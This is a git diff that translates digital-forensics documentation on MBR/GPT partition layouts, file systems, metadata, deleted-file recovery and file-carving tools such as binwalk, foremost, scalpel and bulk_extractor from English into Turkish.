mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +**Boot kodunun 446B'sinden sonra diskin ilk sektöründe** tahsis edilmiştir. Bu sektör, PC'ye bir partisyonun ne zaman ve nereden bağlanması gerektiğini belirtmek için gereklidir.\ +En fazla **4 partisyon** sağlar (en fazla **1** aktif/**bootable** olabilir). Ancak daha fazla partisyona ihtiyacınız varsa **genişletilmiş partisyonlar** kullanabilirsiniz. Bu ilk sektörün **son baytı** boot kayıt imzası **0x55AA**'dır. Sadece bir partisyon aktif olarak işaretlenebilir.\ +MBR, **maksimum 2.2TB**'yi destekler. ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulunabilir (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un başlatılmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (493).png>) @@ -25,123 +25,121 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig | Offset | Length | Item | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Boot kodu | +| 446 (0x1BE) | 16 (0x10) | İlk Partisyon | +| 462 (0x1CE) | 16 (0x10) | İkinci Partisyon | +| 478 (0x1DE) | 16 (0x10) | Üçüncü Partisyon | +| 494 (0x1EE) | 16 (0x10) | Dördüncü Partisyon | +| 510 (0x1FE) | 2 (0x2) | İmza 0x55 0xAA | **Partition Record Format** | Offset | Length | Item | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | Aktif bayrağı (0x80 = bootable) | +| 1 (0x01) | 1 (0x01) | Başlangıç başlığı | +| 2 (0x02) | 1 (0x01) | Başlangıç sektörü (bit 0-5); silindirin üst bitleri (6-7) | +| 3 (0x03) | 1 (0x01) | Başlangıç silindiri en düşük 8 bit | +| 4 (0x04) | 1 (0x01) | Partisyon türü kodu (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Bitiş başlığı | +| 6 (0x06) | 1 (0x01) | Bitiş sektörü (bit 0-5); silindirin üst bitleri (6-7) | +| 7 (0x07) | 1 (0x01) | Bitiş silindiri en düşük 8 bit | +| 8 (0x08) | 4 (0x04) | Partisyondan önceki sektörler (little endian) | +| 12 (0x0C) | 4 (0x04) | Partisyondaki sektörler | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Bir MBR'yi Linux'ta bağlamak için önce başlangıç ofsetini almanız gerekir (bunu `fdisk` ve `p` komutunu kullanarak yapabilirsiniz) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +Ve ardından aşağıdaki kodu kullanın ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Mantıksal blok adresleme)** -**LBA (Logical block addressing)** +**Mantıksal blok adresleme** (**LBA**), bilgisayar depolama cihazlarında saklanan veri bloklarının konumunu belirtmek için yaygın olarak kullanılan bir şemadır; genellikle sabit disk sürücüleri gibi ikincil depolama sistemleridir. LBA, özellikle basit bir doğrusal adresleme şemasına sahiptir; **bloklar bir tamsayı indeksi ile konumlandırılır**, ilk blok LBA 0, ikinci LBA 1 şeklindedir. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUID Bölüm Tablosu) -### GPT (GUID Partition Table) +GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Ana Önyükleme Kaydı) ile karşılaştırıldığında geliştirilmiş yetenekleri nedeniyle tercih edilmektedir. Bölümler için **küresel benzersiz tanımlayıcı** ile ayırt edici olan GPT, birkaç yönden öne çıkmaktadır: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Konum ve Boyut**: Hem GPT hem de MBR **sektör 0**'da başlar. Ancak, GPT **64 bit** üzerinde çalışırken, MBR **32 bit** kullanır. +- **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölüme** kadar destekler ve **9.4ZB**'a kadar veri depolayabilir. +- **Bölüm İsimleri**: Bölümlere 36 Unicode karaktere kadar isim verme imkanı sunar. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Veri Dayanıklılığı ve Kurtarma**: -**Data Resilience and Recovery**: +- **Yedeklilik**: MBR'nin aksine, GPT bölümleme ve önyükleme verilerini tek bir yere hapsetmez. Bu verileri disk boyunca çoğaltarak veri bütünlüğünü ve dayanıklılığını artırır. +- **Döngüsel Yedeklilik Kontrolü (CRC)**: GPT, veri bütünlüğünü sağlamak için CRC kullanır. Veri bozulmasını aktif olarak izler ve tespit edildiğinde, GPT bozulmuş veriyi başka bir disk konumundan kurtarmaya çalışır. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**Koruyucu MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT, koruyucu bir MBR aracılığıyla geriye dönük uyumluluğu sürdürmektedir. Bu özellik, eski MBR tabanlı yardımcı programların yanlışlıkla GPT disklerini üzerine yazmasını önlemek için tasarlanmıştır, böylece GPT formatlı disklerde veri bütünlüğünü korur. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**Hibrit MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +**EFI** yerine **BIOS** hizmetleri aracılığıyla **GPT tabanlı önyükleme** destekleyen işletim sistemlerinde, ilk sektör hala **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **GPT** **bölümlerini tanıyacak şekilde **değiştirilmiştir. MBR'deki önyükleyici, 512 baytlık bir sektör boyutu varsaymamalıdır. -**Partition table header (LBA 1)** +**Bölüm tablosu başlığı (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetleri). -| Offset | Length | Contents | +| Ofset | Uzunluk | İçerik | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)küçük sonlu makinelerde) | +| 8 (0x08) | 4 bayt | UEFI 2.8 için Revizyon 1.0 (00h 00h 01h 00h) | +| 12 (0x0C) | 4 bayt | Küçük sonlu (bayt cinsinden, genellikle 5Ch 00h 00h 00h veya 92 bayt) başlık boyutu | +| 16 (0x10) | 4 bayt | [CRC32](https://en.wikipedia.org/wiki/CRC32) başlığın CRC'si (ofset +0'dan başlık boyutuna kadar) küçük sonlu, bu alan hesaplama sırasında sıfırlanır | +| 20 (0x14) | 4 bayt | Ayrılmış; sıfır olmalıdır | +| 24 (0x18) | 8 bayt | Mevcut LBA (bu başlık kopyasının konumu) | +| 32 (0x20) | 8 bayt | Yedek LBA (diğer başlık kopyasının konumu) | +| 40 (0x28) | 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosunun son LBA'sı + 1) | +| 48 (0x30) | 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosunun ilk LBA'sı − 1) | +| 56 (0x38) | 16 bayt | Disk GUID'i karışık sonlu | +| 72 (0x48) | 8 bayt | Bir dizi bölüm girişinin başlangıç LBA'sı (her zaman birincil kopyada 2) | +| 80 (0x50) | 4 bayt | Dizideki bölüm girişlerinin sayısı | +| 84 (0x54) | 4 bayt | Tek bir bölüm girişinin boyutu (genellikle 80h veya 128) | +| 88 (0x58) | 4 bayt | Küçük sonlu bölüm girişleri dizisinin CRC32'si | +| 92 (0x5C) | \* | Ayrılmış; blokun geri kalanında sıfır olmalıdır (512 baytlık bir sektör boyutu için 420 bayt; ancak daha büyük sektör boyutları ile daha fazla olabilir) | -**Partition entries (LBA 2–33)** +**Bölüm girişleri (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| GUID bölüm giriş formatı | | | +| ------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Ofset | Uzunluk | İçerik | +| 0 (0x00) | 16 bayt | [Bölüm türü GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (karışık sonlu) | +| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID'i (karışık sonlu) | +| 32 (0x20) | 8 bayt | İlk LBA ([küçük sonlu](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek) | +| 48 (0x30) | 8 bayt | Nitelik bayrakları (örneğin, bit 60 yalnızca okunur olduğunu belirtir) | +| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimi) | -**Partitions Types** +**Bölüm Türleri** ![](<../../../images/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### İnceleme -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli görüntüyü monte ettikten sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde **sektör 0**'da bir **MBR** tespit edilmiştir ve yorumlanmıştır: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Eğer bir **MBR yerine bir GPT tablosu** olsaydı, **sektör 1**'de _EFI PART_ imzası görünmelidir (önceki görüntüde bu alan boştur). -## File-Systems +## Dosya Sistemleri -### Windows file-systems list +### Windows dosya sistemleri listesi - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,86 +149,86 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (Dosya Tahsis Tablosu)** dosya sistemi, hacmin başlangıcında yer alan dosya tahsis tablosu etrafında tasarlanmıştır. Bu sistem, verilerin bütünlüğünü sağlamak için tablonun **iki kopyasını** tutarak verileri korur; böylece biri bozulsa bile veri bütünlüğü sağlanır. Tablo, kök klasör ile birlikte **sabit bir konumda** olmalıdır; bu, sistemin başlatma süreci için kritik öneme sahiptir. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +Dosya sisteminin temel depolama birimi bir **küme, genellikle 512B**'dir ve birden fazla sektörden oluşur. FAT, sürümler boyunca evrim geçirmiştir: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, 12 bit küme adreslerini destekler ve 4078 kümeye kadar işleyebilir (UNIX ile 4084). +- **FAT16**, 16 bit adreslere yükseltilerek 65,517 kümeye kadar destek sağlar. +- **FAT32**, 32 bit adreslerle daha da ilerleyerek her hacim için 268,435,456 kümeye kadar izin verir. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +FAT sürümleri arasında önemli bir sınırlama, **4GB maksimum dosya boyutu**'dur; bu, dosya boyutu depolamak için kullanılan 32 bit alan tarafından dayatılmaktadır. -Key components of the root directory, particularly for FAT12 and FAT16, include: +FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Dosya/Klasör Adı** (en fazla 8 karakter) +- **Nitelikler** +- **Oluşturma, Değiştirme ve Son Erişim Tarihleri** +- **FAT Tablosu Adresi** (dosyanın başlangıç kümesini gösterir) +- **Dosya Boyutu** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2**, **günlük tutmayan** bölümler (**çok fazla değişmeyen bölümler**) için en yaygın dosya sistemidir; bu, önyükleme bölümüdür. **Ext3/4** ise **günlük tutan** sistemlerdir ve genellikle **diğer bölümler** için kullanılır. -## **Metadata** +## **Meta Veriler** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Bazı dosyalar meta veriler içerir. Bu bilgiler, dosyanın içeriği hakkında olup, bazen bir analist için ilginç olabilir; dosya türüne bağlı olarak, aşağıdaki gibi bilgiler içerebilir: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Başlık +- Kullanılan MS Office Versiyonu +- Yazar +- Oluşturma ve son değiştirme tarihleri +- Kameranın modeli +- GPS koordinatları +- Görüntü bilgileri -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Bir dosyanın meta verilerini almak için [**exiftool**](https://exiftool.org) ve [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gibi araçları kullanabilirsiniz. -## **Deleted Files Recovery** +## **Silinmiş Dosyaların Kurtarılması** -### Logged Deleted Files +### Günlük Kayıtlı Silinmiş Dosyalar -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Daha önce görüldüğü gibi, bir dosya "silindikten" sonra hala kaydedilen birkaç yer vardır. Bunun nedeni, genellikle bir dosyanın dosya sisteminden silinmesinin sadece silindi olarak işaretlenmesidir; ancak veri dokunulmamıştır. Bu nedenle, dosyaların kayıtlarını (MFT gibi) incelemek ve silinmiş dosyaları bulmak mümkündür. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Ayrıca, işletim sistemi genellikle dosya sistemi değişiklikleri ve yedeklemeleri hakkında çok fazla bilgi kaydeder, bu nedenle dosyayı veya mümkün olduğunca fazla bilgiyi kurtarmak için bunları kullanmaya çalışmak mümkündür. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **Dosya Oymacılığı** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**Dosya oymacılığı**, **veri yığınında dosyaları bulmaya çalışan** bir tekniktir. Bu tür araçların çalıştığı 3 ana yol vardır: **Dosya türü başlıkları ve alt başlıklarına dayalı**, dosya türü **yapılarına** dayalı ve **içerik**'e dayalı. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Bu tekniğin **parçalanmış dosyaları geri almak için çalışmadığını** unutmayın. Eğer bir dosya **bitişik sektörlerde depolanmamışsa**, bu teknik onu veya en azından bir kısmını bulamayacaktır. -There are several tools that you can use for file Carving indicating the file types you want to search for +Aradığınız dosya türlerini belirterek dosya oymacılığı için kullanabileceğiniz birkaç araç vardır. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### Veri Akışı **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Veri Akışı Oymacılığı, Dosya Oymacılığına benzer, ancak **tam dosyalar aramak yerine, ilginç bilgi parçalarını arar**.\ +Örneğin, günlük kaydedilmiş URL'leri içeren bir tam dosya aramak yerine, bu teknik URL'leri arayacaktır. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Güvenli Silme -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Açıkça, dosyaları ve bunlarla ilgili günlüklerin bir kısmını **"güvenli" bir şekilde silmenin yolları vardır**. Örneğin, bir dosyanın içeriğini birkaç kez çöp verilerle **üst üste yazmak** ve ardından dosya ile ilgili **$MFT** ve **$LOGFILE**'dan **günlükleri kaldırmak** ve **Hacim Gölge Kopyalarını kaldırmak** mümkündür.\ +Bu işlemi gerçekleştirirken, dosyanın varlığının hala **diğer parçalarda kaydedilmiş olabileceğini** fark edebilirsiniz; bu doğrudur ve adli bilişim uzmanının işi bunları bulmaktır. -## References +## Referanslar - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) - [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) - [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** +- **iHackLabs Sertifikalı Dijital Adli Bilişim Windows** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..59a38a0ef 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# Dosya/Veri Oymacılığı ve Kurtarma Araçları {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## Oymacılık ve Kurtarma Araçları -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. +**Faydalı komutlar**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel**, bir dosyanın içine gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** **çıkarır**. Yapmanız gereken tek şey: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Tüm bilgileri (şifreler?) toplayan aracı **gezin**, **analiz et** ve **paketleri** (oku[ **Pcaps analizi**](../pcap-inspection/)), **garip alan adları** (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili) arayın. ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz. -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracı](https://binvis.io/#/) kontrol edin. -#### Features of BinVis +#### BinVis'in Özellikleri -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Görsel ve aktif **yapı görüntüleyici** +- Farklı odak noktaları için birden fazla grafik +- Bir örneğin bölümlerine odaklanma +- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları** görme +- Dosyalar üzerinde kriptoanaliz için **desenler** elde etme +- **Paketleyici** veya kodlayıcı algoritmalarını **belirleme** +- Desenler ile Steganografi **tanımlama** +- **Görsel** ikili fark analizi -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**. -## Specific Data Carving Tools +## Özel Veri Karıştırma Araçları ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AES anahtarlarını anahtar programlarını arayarak bulur. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir. 